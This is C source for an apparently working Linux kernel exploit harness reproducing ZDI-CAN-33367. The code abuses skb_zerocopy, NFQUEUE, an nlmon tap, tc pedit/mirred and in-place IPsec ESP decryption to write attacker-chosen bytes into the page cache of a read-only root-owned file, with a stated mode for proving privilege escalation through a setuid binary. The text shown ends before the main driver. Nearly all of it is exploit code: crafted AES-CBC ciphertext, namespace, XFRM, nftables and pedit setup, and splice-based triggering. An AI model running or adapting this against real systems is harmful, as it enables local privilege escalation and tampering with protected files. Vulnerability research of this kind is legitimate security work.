// SPDX-License-Identifier: GPL-2.0
/*
 * skbpoc.c - reproduction harness for ZDI-CAN-33367
 *
 *   Linux kernel skb_zerocopy() shared-frag marker loss
 *   -> NFQUEUE netlink message -> nlmon netlink tap -> tc pedit + mirred to lo
 *   -> in-place IPsec ESP decryption over page-cache backed skb frags
 *   -> page-cache corruption of a read-only root-owned file
 *
 * The trigger path (faithful to the ZDI report):
 *   1. unprivileged user unshares a user+network namespace
 *   2. nlmon0 is brought up; the netlink tap mirrors every netlink message
 *      that the kernel sends to a userspace socket onto nlmon0
 *   3. an XFRM ESP (transport mode) state + inbound policy for 127.0.0.1 is
 *      installed; the attacker knows the keys because it installed them
 *   4. an nftables rule queues LOCAL_OUT packets to NFQUEUE 0
 *   5. a UDP datagram to 127.0.0.1 is sent whose payload is splice()d from
 *      (a) 8 bytes of the read-only target file page cache and
 *      (b) a 514 byte attacker controlled vector
 *   6. nfqnl_build_packet_message() builds the NFQA_PAYLOAD netlink message
 *      with skb_zerocopy(), which moves the frags but drops SKBFL_SHARED_FRAG
 *   7. that message skb is tapped to nlmon0, pedit rewrites only its linear
 *      prefix into a valid ESP packet, mirred redirects it to lo
 *   8. esp_input() sees a nonlinear skb without SKBFL_SHARED_FRAG and skips
 *      skb_cow_data(), so authenticated AES-CBC decryption writes the
 *      attacker chosen plaintext straight into the page-cache frags
 *
 * Modes:
 *   skbpoc exploit --target F --offset N --desired DDDDDDDD
 *        run as the unprivileged attacker; performs the whole chain and
 *        reports whether the target window changed in the page cache
 *   skbpoc ctl --target F --offset N --desired DDDDDDDD [--exec P A]
 *        run as root: measures the target before, runs the exploit as
 *        uid/gid 1000, measures the page cache after, optionally executes a
 *        root-owned setuid binary as uid 1000 (privilege escalation proof),
 *        then evicts the page cache and re-reads to show the on-disk copy is
 *        untouched (page-cache-only corruption)
 */
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <net/if.h>
#include <netinet/in.h>
#include <openssl/evp.h>
#include <openssl/hmac.h>
#include <poll.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

/* ------------------------------------------------------------------ */
/* netfilter netlink uapi constants (inlined; stable ABI)              */
/* ------------------------------------------------------------------ */
#define NFNL_SUBSYS_QUEUE		3
#define NFQNL_MSG_PACKET		0
#define NFQNL_MSG_VERDICT		1
#define NFQNL_MSG_CONFIG		2
#define NFQNL_CFG_CMD_BIND		1
#define NFQNL_COPY_PACKET		2
#define NFQA_PACKET_HDR			1
#define NFQA_VERDICT_HDR		2
#define NFQA_PAYLOAD			10
#define NFQA_CFG_CMD			1
#define NFQA_CFG_PARAMS			2
#define NFQA_CFG_QUEUE_MAXLEN		3
#define NFQA_CFG_MASK			4
#define NFQA_CFG_FLAGS			5
#define NFQA_CFG_F_GSO			(1 << 2)
#define NFQA_CFG_F_UID_GID		(1 << 3)
#define NF_ACCEPT			1
#define NF_DROP				0

struct nfqnl_msg_config_params {
	uint32_t	copy_range;
	uint8_t		copy_mode;
} __attribute__((packed));

struct nfqnl_msg_verdict_hdr {
	uint32_t	verdict;
	uint32_t	id;
} __attribute__((packed));

struct nfqnl_msg_packet_hdr {
	uint32_t	packet_id;
	uint16_t	hw_protocol;
	uint8_t		hook;
} __attribute__((packed));

/* ------------------------------------------------------------------ */
/* geometry: 618 byte ESP packet built from a 522 byte UDP datagram     */
/* ------------------------------------------------------------------ */
#define ETH_HLEN		14
#define IP_HLEN			20
#define ESP_HDR_LEN		8
#define IV_LEN			16
#define PRE_CT_LEN		(ETH_HLEN + IP_HLEN + ESP_HDR_LEN + IV_LEN)	/* 58 */
#define CT_LEN			544	/* 34 AES blocks of ciphertext		*/
#define ICV_LEN			16
#define INNER_UDP_LEN		528	/* decrypted inner UDP datagram		*/
#define PKT_LEN			(PRE_CT_LEN + CT_LEN + ICV_LEN)		/* 618 */
#define FRAG_TOTAL		522	/* 8 bytes target page + 514 vector	*/
#define VEC_LEN			(FRAG_TOTAL - 8)			/* 514 */
#define TARGET_SPLICE		8
#define UDP_SPORT		5555
#define UDP_DPORT		5555
#define SPI			0x00000100
#define SEQ			1
#define FL_FALLBACK		96	/* linear prefix observed in the ZDI report */

#define SAY(...) do { printf(__VA_ARGS__); fflush(stdout); } while (0)

static const unsigned char ENC_KEY[16] = {
	0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
	0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f
};
static const unsigned char AUTH_KEY[32] = {
	0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
	0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f,
	0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
	0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f
};

static const char *g_target;
static const char *g_offset_str;
static long g_offset;
static const char *g_desired;

/* ------------------------------------------------------------------ */
/* small helpers                                                       */
/* ------------------------------------------------------------------ */
static int write_file(const char *path, const char *data)
{
	int fd = open(path, O_WRONLY | O_CLOEXEC);
	if (fd < 0)
		return -1;
	if (write(fd, data, strlen(data)) != (ssize_t)strlen(data)) {
		close(fd);
		return -1;
	}
	close(fd);
	return 0;
}

static int read_file_str(const char *path, char *buf, size_t n)
{
	int fd = open(path, O_RDONLY | O_CLOEXEC);
	ssize_t r;
	if (fd < 0)
		return -1;
	r = read(fd, buf, n - 1);
	close(fd);
	if (r < 0)
		return -1;
	buf[r] = 0;
	return 0;
}

static int run_cmd(char *const argv[], int verbose)
{
	pid_t pid;
	int st;

	if (verbose) {
		char line[1024];
		size_t n = 0;

		line[0] = 0;
		for (int k = 0; argv[k] && n + 64 < sizeof(line); k++)
			n += snprintf(line + n, sizeof(line) - n, "%s ", argv[k]);
		SAY("CMD %s\n", line);
	}
	pid = fork();
	if (pid == 0) {
		execv(argv[0], argv);
		_exit(127);
	}
	if (pid < 0)
		return -1;
	if (waitpid(pid, &st, 0) < 0)
		return -1;
	return WIFEXITED(st) ? WEXITSTATUS(st) : -1;
}

static const char *which(const char *a, const char *b)
{
	if (access(a, X_OK) == 0)
		return a;
	if (access(b, X_OK) == 0)
		return b;
	return a;
}

/* ------------------------------------------------------------------ */
/* crypto: raw AES-128-CBC block ops + HMAC-SHA256                     */
/* ------------------------------------------------------------------ */
static int aes_ecb_block(const unsigned char *key, const unsigned char *in,
			 unsigned char *out, int encrypt)
{
	EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
	int outl = 0, ok = 0;

	if (!ctx)
		return -1;
	if (encrypt)
		ok = EVP_EncryptInit_ex(ctx, EVP_aes_128_ecb(), NULL, key, NULL) &&
		     EVP_CIPHER_CTX_set_padding(ctx, 0) &&
		     EVP_EncryptUpdate(ctx, out, &outl, in, 16);
	else
		ok = EVP_DecryptInit_ex(ctx, EVP_aes_128_ecb(), NULL, key, NULL) &&
		     EVP_CIPHER_CTX_set_padding(ctx, 0) &&
		     EVP_DecryptUpdate(ctx, out, &outl, in, 16);
	EVP_CIPHER_CTX_free(ctx);
	return ok ? 0 : -1;
}

static int aes_cbc_encrypt(const unsigned char *key, const unsigned char *iv,
			   const unsigned char *in, size_t len, unsigned char *out)
{
	EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
	int outl = 0, total = 0, ok;

	if (!ctx)
		return -1;
	ok = EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv) &&
	     EVP_CIPHER_CTX_set_padding(ctx, 0) &&
	     EVP_EncryptUpdate(ctx, out, &outl, in, (int)len);
	total += outl;
	EVP_CIPHER_CTX_free(ctx);
	return (ok && total == (int)len) ? 0 : -1;
}

static int hmac_sha256(const unsigned char *key, int keylen,
		       const unsigned char *data, size_t len,
		       unsigned char out[32])
{
	unsigned int outl = 0;

	if (!HMAC(EVP_sha256(), key, keylen, data, len, out, &outl) || outl != 32)
		return -1;
	return 0;
}

/* ------------------------------------------------------------------ */
/* packet construction                                                 */
/* ------------------------------------------------------------------ */
struct pktplan {
	int	fl;		/* linear prefix length = frag start offset	*/
	int	ct_off;		/* ciphertext offset of the 8 target bytes	*/
	unsigned char frame[256];	/* fl bytes written by pedit		*/
	unsigned char vector[VEC_LEN];	/* the frag payload after the target	*/
	unsigned char iv[IV_LEN];
	unsigned char ct[CT_LEN];
	int	icv_variant;	/* 0: SPI|seq|IV|ct   1: SPI|seq|ct		*/
};


/* one's complement sum over a byte range (network order) */
static uint32_t csum_add_bytes(uint32_t sum, const unsigned char *p, int len)
{
	int i;

	for (i = 0; i + 1 < len; i += 2)
		sum += ((uint32_t)p[i] << 8) | p[i + 1];
	if (i < len)
		sum += (uint32_t)p[i] << 8;
	return sum;
}

static uint16_t csum_fold(uint32_t sum)
{
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return (uint16_t)sum;
}

static uint16_t ip_checksum(const unsigned char *h, int len)
{
	uint32_t sum = 0;
	int i;

	for (i = 0; i < len; i += 2)
		sum += ((uint32_t)h[i] << 8) | h[i + 1];
	while (sum >> 16)
		sum = (sum & 0xffff) + (sum >> 16);
	return (uint16_t)~sum;
}

static int fill_packet(struct pktplan *p, const unsigned char *file8,
		       const unsigned char *desired8, int fl, int icv_variant)
{
	unsigned char pt[CT_LEN], pt2[CT_LEN], hmac_in[64 + CT_LEN], mac[32];
	unsigned char dblk[16], y[16];
	int i, j, blk, off, hlen = 0;

	if (fl < PRE_CT_LEN + 16 || fl > 200 || (fl & 3))
		return -1;
	p->fl = fl;
	p->ct_off = fl - PRE_CT_LEN;
	if (p->ct_off < 16 || p->ct_off + 8 > CT_LEN - 16)
		return -1;
	p->icv_variant = icv_variant;

	for (i = 0; i < IV_LEN; i++)
		p->iv[i] = (unsigned char)(0xa0 + i);

	/* intended plaintext: inner UDP datagram + ESP padding + trailer */
	memset(pt, 0x41, sizeof(pt));
	pt[0] = UDP_SPORT >> 8;
	pt[1] = UDP_SPORT & 0xff;
	pt[2] = UDP_DPORT >> 8;
	pt[3] = UDP_DPORT & 0xff;
	pt[4] = INNER_UDP_LEN >> 8;
	pt[5] = INNER_UDP_LEN & 0xff;
	pt[6] = 0;
	pt[7] = 0;
	memcpy(pt + p->ct_off, desired8, 8);
	pt[INNER_UDP_LEN] = 14;			/* padlen */
	memset(pt + INNER_UDP_LEN + 1, 14, 14);	/* padding */
	pt[CT_LEN - 1] = 17;			/* next header: UDP */

	/* deterministic "free" ciphertext bytes; the target block keeps the file
	 * bytes that the page-cache frag will supply */
	for (i = 0; i < CT_LEN; i++)
		p->ct[i] = (unsigned char)(0x11 * (i + 1) + 7);
	blk = (p->ct_off / 16) * 16;
	off = p->ct_off - blk;
	if (off + 8 > 16)
		return -1;
	memcpy(p->ct + p->ct_off, file8, 8);

	/* block 0: the UDP header.  The checksum field carries a non-zero value
	 * (zero would mean "no checksum"); consistency is forced later by
	 * adjusting a free plaintext word. */
	pt[6] = 0x12;
	pt[7] = 0x34;
	for (i = 0; i < 16; i++)
		y[i] = pt[i] ^ p->iv[i];
	if (aes_ecb_block(ENC_KEY, y, p->ct, 1) < 0)
		return -1;

	/* the block before the target block is chosen so that the plaintext
	 * written over the file slice is exactly "desired" */
	if (aes_ecb_block(ENC_KEY, p->ct + blk, dblk, 0) < 0)
		return -1;
	for (i = 0; i < 16; i++)
		y[i] = dblk[i] ^ pt[blk + i];
	memcpy(p->ct + blk - 16, y, 16);

	/* blocks after the target block are free: pick them in the encryption
	 * direction so the decrypted text is exactly the intended one */
	for (i = blk + 16; i < CT_LEN - 16; i += 16) {
		for (j = 0; j < 16; j++)
			y[j] = pt[i + j] ^ p->ct[i - 16 + j];
		if (aes_ecb_block(ENC_KEY, y, p->ct + i, 1) < 0)
			return -1;
	}

	/* Force a valid inner UDP checksum: the sum over the pseudo header plus
	 * the datagram (checksum field included) must fold to 0xffff.  The last
	 * 16 plaintext bytes of the datagram are free payload, so one 16 bit word
	 * there absorbs the difference. */
	{
		uint32_t sum = 0x7f00 + 0x0001 + 0x7f00 + 0x0001 + 17 + INNER_UDP_LEN;
		uint16_t delta;

		for (i = 0; i < 16; i++)
			pt2[i] = pt[i];			/* header as chosen	*/
		if (aes_ecb_block(ENC_KEY, p->ct + 16, dblk, 0) < 0)
			return -1;
		for (i = 0; i < 16; i++)
			pt2[16 + i] = dblk[i] ^ p->ct[i];	/* derived block 1 */
		memcpy(pt2 + 32, pt + 32, INNER_UDP_LEN - 32);
		memset(pt2 + INNER_UDP_LEN - 16, 0, 16);	/* adjustment area */
		sum = csum_add_bytes(sum, pt2, INNER_UDP_LEN);
		sum = csum_fold(sum);
		delta = (uint16_t)(0xffff - sum);
		if (delta == 0xffff)
			delta = 0;
		pt[INNER_UDP_LEN - 16] = delta >> 8;
		pt[INNER_UDP_LEN - 15] = delta & 0xff;
		memset(pt + INNER_UDP_LEN - 14, 0, 14);
		for (i = 0; i < 16; i++)
			y[i] = pt[INNER_UDP_LEN - 16 + i] ^ p->ct[INNER_UDP_LEN - 32 + i];
		if (aes_ecb_block(ENC_KEY, y, p->ct + INNER_UDP_LEN - 16, 1) < 0)
			return -1;
	}
	/* trailer block must decrypt to padlen/nexthdr */
	for (i = 0; i < 16; i++)
		y[i] = pt[CT_LEN - 16 + i] ^ p->ct[CT_LEN - 32 + i];
	if (aes_ecb_block(ENC_KEY, y, p->ct + CT_LEN - 16, 1) < 0)
		return -1;

	/* ---- linear prefix: eth + ip + esp + iv + ct[0..ct_off) ---- */
	memset(p->frame, 0, sizeof(p->frame));
	p->frame[12] = 0x08;
	p->frame[13] = 0x00;
	{
		unsigned char *ip = p->frame + ETH_HLEN;
		uint16_t tot = (uint16_t)(PKT_LEN - ETH_HLEN);

		ip[0] = 0x45;
		ip[1] = 0x00;
		ip[2] = tot >> 8;
		ip[3] = tot & 0xff;
		ip[4] = 0x23;
		ip[5] = 0x45;
		ip[6] = 0x00;
		ip[7] = 0x00;
		ip[8] = 64;
		ip[9] = 50;		/* ESP */
		ip[10] = 0;
		ip[11] = 0;
		ip[12] = 127; ip[13] = 0; ip[14] = 0; ip[15] = 1;
		ip[16] = 127; ip[17] = 0; ip[18] = 0; ip[19] = 1;
		{
			uint16_t c = ip_checksum(ip, IP_HLEN);

			ip[10] = c >> 8;
			ip[11] = c & 0xff;
		}
	}
	{
		unsigned char *e = p->frame + ETH_HLEN + IP_HLEN;

		e[0] = SPI >> 24; e[1] = (SPI >> 16) & 0xff;
		e[2] = (SPI >> 8) & 0xff; e[3] = SPI & 0xff;
		e[4] = SEQ >> 24; e[5] = (SEQ >> 16) & 0xff;
		e[6] = (SEQ >> 8) & 0xff; e[7] = SEQ & 0xff;
	}
	memcpy(p->frame + ETH_HLEN + IP_HLEN + ESP_HDR_LEN, p->iv, IV_LEN);
	memcpy(p->frame + PRE_CT_LEN, p->ct, p->ct_off);

	/* ---- vector: ct[ct_off+8 .. CT_LEN) + ICV ---- */
	memcpy(p->vector, p->ct + p->ct_off + 8, CT_LEN - (p->ct_off + 8));

	/* ICV over SPI||seq||[IV]||ciphertext, truncated to 128 bits */
	memcpy(hmac_in, p->frame + ETH_HLEN + IP_HLEN, ESP_HDR_LEN);
	hlen = ESP_HDR_LEN;
	if (icv_variant == 0) {
		memcpy(hmac_in + hlen, p->iv, IV_LEN);
		hlen += IV_LEN;
	}
	memcpy(hmac_in + hlen, p->ct, CT_LEN);
	hlen += CT_LEN;
	if (hmac_sha256(AUTH_KEY, sizeof(AUTH_KEY), hmac_in, hlen, mac) < 0)
		return -1;
	memcpy(p->vector + (CT_LEN - (p->ct_off + 8)), mac, ICV_LEN);

	if (p->fl + 8 + VEC_LEN != PKT_LEN)
		return -1;
	return 0;
}

static void assemble_packet(const struct pktplan *p, const unsigned char *file8,
			    unsigned char *pkt)
{
	memcpy(pkt, p->frame, p->fl);
	memcpy(pkt + p->fl, file8, TARGET_SPLICE);
	memcpy(pkt + p->fl + TARGET_SPLICE, p->vector, VEC_LEN);
}

/* ------------------------------------------------------------------ */
/* nfqueue helper (child process)                                      */
/* ------------------------------------------------------------------ */
struct nlattr_hdr {
	uint16_t nla_len;
	uint16_t nla_type;
};

static int nl_open(int proto)
{
	struct sockaddr_nl sa;
	int fd = socket(AF_NETLINK, SOCK_RAW, proto);

	if (fd < 0)
		return -1;
	memset(&sa, 0, sizeof(sa));
	sa.nl_family = AF_NETLINK;
	sa.nl_pid = getpid();
	sa.nl_groups = 0;
	if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
		close(fd);
		return -1;
	}
	return fd;
}

static int nfq_bind(int fd, int queue)
{
	unsigned char buf[512];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct nfgenmsg_compat {
		uint8_t nfgen_family;
		uint8_t version;
		uint16_t res_id;
	} *nfm;
	struct nfqnl_msg_config_params params = { htonl(65535), NFQNL_COPY_PACKET };
	unsigned char *p;
	uint32_t flags = NFQA_CFG_F_GSO | NFQA_CFG_F_UID_GID;
	struct {
		uint8_t command;
		uint8_t pad;
		uint16_t pf;
	} cmd = { NFQNL_CFG_CMD_BIND, 0, 0 };
	uint32_t maxlen = htonl(1024);
	uint32_t beflags = htonl(flags);

	memset(buf, 0, sizeof(buf));
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfm));
	nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_CONFIG;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = 1;
	nlh->nlmsg_pid = getpid();
	nfm = (void *)NLMSG_DATA(nlh);
	nfm->nfgen_family = AF_INET;
	nfm->version = 0;
	nfm->res_id = htons(queue);
	p = (unsigned char *)nlh + nlh->nlmsg_len;

#define PUT_ATTR(type, data, len) do {					\
	struct nlattr_hdr *a = (struct nlattr_hdr *)p;			\
	a->nla_type = (type);						\
	a->nla_len = sizeof(*a) + (len);				\
	memcpy(p + sizeof(*a), (data), (len));				\
	p += NLMSG_ALIGN(a->nla_len);					\
} while (0)

	PUT_ATTR(NFQA_CFG_CMD, &cmd, sizeof(cmd));
	PUT_ATTR(NFQA_CFG_PARAMS, &params, sizeof(params));
	PUT_ATTR(NFQA_CFG_FLAGS, &beflags, 4);
	PUT_ATTR(NFQA_CFG_MASK, &beflags, 4);
	PUT_ATTR(NFQA_CFG_QUEUE_MAXLEN, &maxlen, 4);
	nlh->nlmsg_len = p - buf;
	return send(fd, buf, nlh->nlmsg_len, 0) < 0 ? -1 : 0;
#undef PUT_ATTR
}

static int nfq_verdict(int fd, uint32_t id, uint32_t verdict, int queue)
{
	unsigned char buf[256];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
	struct nfgenmsg_compat {
		uint8_t nfgen_family;
		uint8_t version;
		uint16_t res_id;
	} *nfm;
	struct nfqnl_msg_verdict_hdr vh;
	unsigned char *p;

	memset(buf, 0, sizeof(buf));
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfm));
	nlh->nlmsg_type = (NFNL_SUBSYS_QUEUE << 8) | NFQNL_MSG_VERDICT;
	nlh->nlmsg_flags = NLM_F_REQUEST;
	nlh->nlmsg_seq = 2;
	nlh->nlmsg_pid = getpid();
	nfm = (void *)NLMSG_DATA(nlh);
	nfm->nfgen_family = AF_INET;
	nfm->version = 0;
	nfm->res_id = htons(queue);
	p = (unsigned char *)nlh + nlh->nlmsg_len;
	vh.verdict = htonl(verdict);
	vh.id = id;
	{
		struct nlattr_hdr *a = (struct nlattr_hdr *)p;
		a->nla_type = NFQA_VERDICT_HDR;
		a->nla_len = sizeof(*a) + sizeof(vh);
		memcpy(p + sizeof(*a), &vh, sizeof(vh));
		p += NLMSG_ALIGN(a->nla_len);
	}
	nlh->nlmsg_len = p - buf;
	return send(fd, buf, nlh->nlmsg_len, 0) < 0 ? -1 : 0;
}

/* child: bind NFQUEUE 0 and report every message length over the pipe */
static int nfq_helper(int wfd, int queue, int max_msgs)
{
	int fd = nl_open(NETLINK_NETFILTER);
	unsigned char buf[131072];
	int seen = 0;

	if (fd < 0) {
		dprintf(wfd, "ERR socket\n");
		return 1;
	}
	if (nfq_bind(fd, queue) < 0) {
		dprintf(wfd, "ERR bind errno=%d\n", errno);
		return 1;
	}
	{
		struct pollfd pf = { fd, POLLIN, 0 };
		unsigned char ab[512];
		ssize_t an;

		if (poll(&pf, 1, 2000) > 0 && (an = recv(fd, ab, sizeof(ab), 0)) > 0) {
			struct nlmsghdr *ah = (struct nlmsghdr *)ab;

			if (ah->nlmsg_type == NLMSG_ERROR && an >= (ssize_t)NLMSG_LENGTH(4)) {
				int err = *(int *)NLMSG_DATA(ah);

				dprintf(wfd, "BIND_ACK err=%d\n", err);
				if (err)
					return 1;
			} else {
				dprintf(wfd, "BIND_ACK unexpected type=%u\n", ah->nlmsg_type);
			}
		} else {
			dprintf(wfd, "BIND_ACK none\n");
		}
	}
	dprintf(wfd, "READY\n");
	while (seen < max_msgs) {
		struct pollfd pf = { fd, POLLIN, 0 };
		ssize_t n;
		struct nlmsghdr *nlh;

		if (poll(&pf, 1, 15000) <= 0)
			break;
		n = recv(fd, buf, sizeof(buf), 0);
		if (n <= 0)
			break;
		for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)n);
		     nlh = NLMSG_NEXT(nlh, n)) {
			int type = nlh->nlmsg_type & 0xff;
			unsigned char *ap;
			int alen;
			uint32_t id = 0;

			if ((nlh->nlmsg_type >> 8) != NFNL_SUBSYS_QUEUE ||
			    type != NFQNL_MSG_PACKET)
				continue;
			ap = (unsigned char *)NLMSG_DATA(nlh) + 4;
			alen = nlh->nlmsg_len - NLMSG_LENGTH(4);
			while (alen > (int)sizeof(struct nlattr_hdr)) {
				struct nlattr_hdr *a = (struct nlattr_hdr *)ap;
				int l = a->nla_len;
				if (l < (int)sizeof(*a) || l > alen)
					break;
				if (a->nla_type == NFQA_PACKET_HDR && l >= 12) {
					struct nfqnl_msg_packet_hdr *ph =
						(void *)(ap + sizeof(*a));
					id = ph->packet_id;
				}
				alen -= NLMSG_ALIGN(l);
				ap += NLMSG_ALIGN(l);
			}
			dprintf(wfd, "MSG len=%d id=%u\n", nlh->nlmsg_len, id);
			nfq_verdict(fd, id, NF_DROP, queue);
			seen++;
		}
	}
	dprintf(wfd, "DONE\n");
	close(fd);
	return 0;
}

/* ------------------------------------------------------------------ */
/* XFRM / netns setup                                                  */
/* ------------------------------------------------------------------ */
static int setup_netns(void)
{
	const char *ip = which("/usr/sbin/ip", "/sbin/ip");
	const char *tc = which("/usr/sbin/tc", "/sbin/tc");
	char authhex[80], enchex[40];
	int rc = 0;
	int i;

	authhex[0] = '0';
	authhex[1] = 'x';
	for (i = 0; i < 32; i++)
		sprintf(authhex + 2 + i * 2, "%02x", AUTH_KEY[i]);
	authhex[66] = 0;
	enchex[0] = '0';
	enchex[1] = 'x';
	for (i = 0; i < 16; i++)
		sprintf(enchex + 2 + i * 2, "%02x", ENC_KEY[i]);
	enchex[34] = 0;

	SAY("IP_LINK lo_up=%d\n",
	    run_cmd((char *[]){ (char *)ip, "link", "set", "lo", "up", NULL }, 1));
	SAY("IP_LINK nlmon0_add=%d\n",
	    run_cmd((char *[]){ (char *)ip, "link", "add", "nlmon0", "type", "nlmon", NULL }, 0));
	SAY("IP_LINK nlmon0_up=%d\n",
	    run_cmd((char *[]){ (char *)ip, "link", "set", "nlmon0", "up", NULL }, 1));

	SAY("XFRM state_add=%d\n", run_cmd((char *[]){ (char *)ip, "xfrm", "state", "add",
		"src", "127.0.0.1", "dst", "127.0.0.1", "proto", "esp",
		"spi", "0x100", "mode", "transport", "replay-window", "0",
		"auth-trunc", "hmac(sha256)", authhex, "128",
		"enc", "cbc(aes)", enchex, NULL }, 1));
	SAY("XFRM policy_add=%d\n", run_cmd((char *[]){ (char *)ip, "xfrm", "policy", "add", "dir", "in",
		"src", "127.0.0.1/32", "dst", "127.0.0.1/32",
		"tmpl", "src", "127.0.0.1", "dst", "127.0.0.1",
		"proto", "esp", "spi", "0x100", "mode", "transport", NULL }, 1));

	SAY("TC_QDISC clsact=%d\n", run_cmd((char *[]){ (char *)tc, "qdisc", "add",
		"dev", "nlmon0", "clsact", NULL }, 1));
	return rc;
}

static int install_nft_queue(void)
{
	const char *nft = which("/usr/sbin/nft", "/usr/bin/nft");
	const char *path = "/tmp/zdi33367.nft";
	int fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0600);
	const char *rules =
		"table ip zdi {\n"
		"  chain out {\n"
		"    type filter hook output priority 0; policy accept;\n"
		"    counter queue num 0\n"
		"  }\n"
		"}\n";

	if (fd < 0)
		return -1;
	if (write(fd, rules, strlen(rules)) != (ssize_t)strlen(rules)) {
		close(fd);
		return -1;
	}
	close(fd);
	{
		int rc = run_cmd((char *[]){ (char *)nft, "-f", (char *)path, NULL }, 1);

		if (rc == 0)
			return 0;
		SAY("NFT -f failed rc=%d, trying step by step\n", rc);
		if (run_cmd((char *[]){ (char *)nft, "add", "table", "ip", "zdi", NULL }, 1) != 0)
			return -1;
		if (run_cmd((char *[]){ (char *)nft, "add", "chain", "ip", "zdi", "out",
					 "{", "type", "filter", "hook", "output", "priority", "0", ";", "}",
					 NULL }, 1) != 0)
			return -1;
		return run_cmd((char *[]){ (char *)nft, "add", "rule", "ip", "zdi", "out",
					   "queue", "num", "0", NULL }, 1);
	}
}

static void dump_nft_ruleset(const char *tag)
{
	FILE *p = popen("nft list ruleset 2>&1", "r");
	char line[512];

	if (!p) {
		SAY("%s unavailable\n", tag);
		return;
	}
	while (fgets(line, sizeof(line), p)) {
		char *nl = strchr(line, '\n');

		if (nl)
			*nl = 0;
		SAY("%s %s\n", tag, line);
	}
	pclose(p);
}

static int install_tc_pedit(const unsigned char *frame, int fl)
{
	const char *tc = which("/usr/sbin/tc", "/sbin/tc");
	char offs[64][8], vals[64][16];
	char *argv[13 + 64 * 6 + 8 + 1];
	int i, n = 0, keys = fl / 4;

	if (keys > 64)
		return -1;
	argv[n++] = (char *)tc; argv[n++] = "filter"; argv[n++] = "add";
	argv[n++] = "dev"; argv[n++] = "nlmon0"; argv[n++] = "egress";
	argv[n++] = "protocol"; argv[n++] = "all"; argv[n++] = "pref";
	argv[n++] = "1"; argv[n++] = "matchall"; argv[n++] = "action";
	argv[n++] = "pedit";
	for (i = 0; i < keys; i++) {
		uint32_t w;
		memcpy(&w, frame + i * 4, 4);
		sprintf(offs[i], "%d", i * 4);
		sprintf(vals[i], "0x%08x", ntohl(w));
		argv[n++] = "munge"; argv[n++] = "offset"; argv[n++] = offs[i];
		argv[n++] = "u32"; argv[n++] = "set"; argv[n++] = vals[i];
	}
	argv[n++] = "pipe"; argv[n++] = "action"; argv[n++] = "mirred";
	argv[n++] = "egress"; argv[n++] = "redirect"; argv[n++] = "dev";
	argv[n++] = "lo"; argv[n] = NULL;
	return run_cmd(argv, 1);
}

/* ------------------------------------------------------------------ */
/* trigger                                                             */
/* ------------------------------------------------------------------ */
static int make_vector_fd(const unsigned char *vec, size_t len)
{
	int fd = syscall(SYS_memfd_create, "zdi-vector", 0);

	if (fd < 0)
		return -1;
	if (write(fd, vec, len) != (ssize_t)len) {
		close(fd);
		return -1;
	}
	return fd;
}

static int send_spliced(int target_fd, off_t off, const unsigned char *vec,
			size_t vlen, int udp_fd)
{
	int p[2];
	int vfd;
	off_t o1 = off, o2 = 0;
	ssize_t r;

	vfd = make_vector_fd(vec, vlen);
	if (vfd < 0)
		return -1;
	if (pipe(p) < 0) {
		close(vfd);
		return -1;
	}
	r = splice(target_fd, &o1, p[1], NULL, TARGET_SPLICE, 0);
	if (r != TARGET_SPLICE) {
		SAY("SPLICE target failed r=%zd errno=%d\n", r, errno);
		goto fail;
	}
	r = splice(vfd, &o2, p[1], NULL, vlen, 0);
	if (r != (ssize_t)vlen) {
		SAY("SPLICE vector failed r=%zd errno=%d\n", r, errno);
		goto fail;
	}
	r = splice(p[0], NULL, udp_fd, NULL, TARGET_SPLICE + vlen, 0);
	if (r != (ssize_t)(TARGET_SPLICE + vlen)) {
		SAY("SPLICE udp failed r=%zd errno=%d\n", r, errno);
		goto fail;
	}
	close(p[0]);
	close(p[1]);
	close(vfd);
	return 0;
fail:
	close(p[0]);
	close(p[1]);
	close(vfd);
	return -1;
}

static int inject_frame_lo(const unsigned char *pkt, int len)
{
	int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	struct sockaddr_ll sll;
	int ifidx;

	if (fd < 0)
		return -1;
	ifidx = if_nametoindex("lo");
	if (!ifidx) {
		close(fd);
		return -1;
	}
	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifidx;
	sll.sll_halen = ETH_ALEN;
	if (sendto(fd, pkt, len, 0, (struct sockaddr *)&sll, sizeof(sll)) != len) {
		close(fd);
		return -1;
	}
	close(fd);
	return 0;
}

static void drain_udp(int fd)
{
	unsigned char tmp[2048];

	while (recv(fd, tmp, sizeof(tmp), MSG_DONTWAIT) > 0)
		;
}

static int recv_inner(int fd, int timeout_ms)
{
	struct pollfd pf = { fd, POLLIN, 0 };
	unsigned char tmp[4096];

	if (poll(&pf, 1, timeout_ms) <= 0)
		return -1;
	return recv(fd, tmp, sizeof(tmp), 0) > 0 ? 0 : -1;
}

